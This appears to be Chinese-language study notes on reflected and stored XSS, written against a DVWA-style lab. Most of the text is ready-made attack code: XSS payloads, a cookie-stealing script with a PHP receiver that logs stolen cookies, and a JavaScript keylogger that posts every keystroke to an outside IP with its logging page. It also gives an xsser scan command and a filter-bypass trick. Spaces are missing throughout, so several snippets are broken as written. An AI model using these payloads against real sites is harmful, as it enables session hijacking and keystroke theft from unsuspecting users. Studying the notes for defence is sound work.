反射型XSS1.概念
通过社会工程学等手段诱骗用户点击某个精心构造的链接,该链接会将恶意的js代码提交给
有漏洞的服务器网站,并由服务器返回给受害者的客户端执行。
2.POC
-<script>alert(‘xss’)</script>
-直接通过脚本插入
-<ahref=‘‘onclick=alert(‘xss‘)>type</a>
-将代码注入到a标签中,点击超链接则执行-<imgsrc=http://1.1.1.1/a.ipgonerror=alert(‘xss‘)>
-将代码注入到img标签中,加载出错时执行-<script>window.location=‘http://1.1.1.1‘</script>
-重定向
-<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe>
-加载一个宽和高都是0的框架来执行代码-<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
-窃取cookie并发送到指定网址-<script>document.body.innerHTML="<divstyle=visibility:visible;><h1>THISWEBSITE
ISUNDERATTACK</h1></div>";</script>
-修改DOM树中的内容
3.窃取cookiejs代码 cookie.js
varimg=newImage();
img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;
接收页面代码cookies.php
<?php
$c=$_GET[‘c‘];
$cookie=fopen("cookie.txt","a");
fwrite($cookie,$c."\r\n\r\n");
fclose($cookie);
echo"success"
?>
恶意代码
<scriptsrc=http://1.1.1.1/cookie.js></script>
攻击过程:
当恶意代码被执行时,会从外部网址读取cookie.js在客户端上执行,该js会读取当前页面的
地址并发送到指定的接收页面,由页面接收并保存到文件。
4.keylogger键盘记录js keylogger.js
document.onkeypress=function(evt){
evt=evt||window.event
key=String.fromCharCode(evt.charCode)
if(key){
varhttp=newXMLHttpRequest();
varparam=encodeURI(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
接收页面 Keylogger.php
<?php
$key=$_POST[‘key‘];
$logfile="keylog.txt";
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
恶意代码
<script+src="http://1.1.1.1/keylogger.js"></script>
攻击过程:当恶意代码被执行时,会从外部网址读取keylooger.js在客户端上执行,该js记录所有该页面
上的按键操作并发送到指定的接收页面,由页面接收并保存到文件。
5.xss漏洞检测工具:xsser
xsser-u“http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi
ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check检测xss漏洞
--heuristic检查被过滤的字符
6.过滤绕过
过滤机制:替换<script>字符为""绕过方法:在<script>中嵌套一层<script>--<scr<script>ipt>
存储型XSS1.概念
将恶意js代码永久的存储在有漏洞的服务器上,每次受害者打开该页面时,恶意代码便会在
客户端执行。
2.表单长度限制突破只在客户端过滤且服务器没有很的过滤机制时:
直接修改客户端源码改变表单长度 通过截断代理直接在数据包中修改需要提交的内容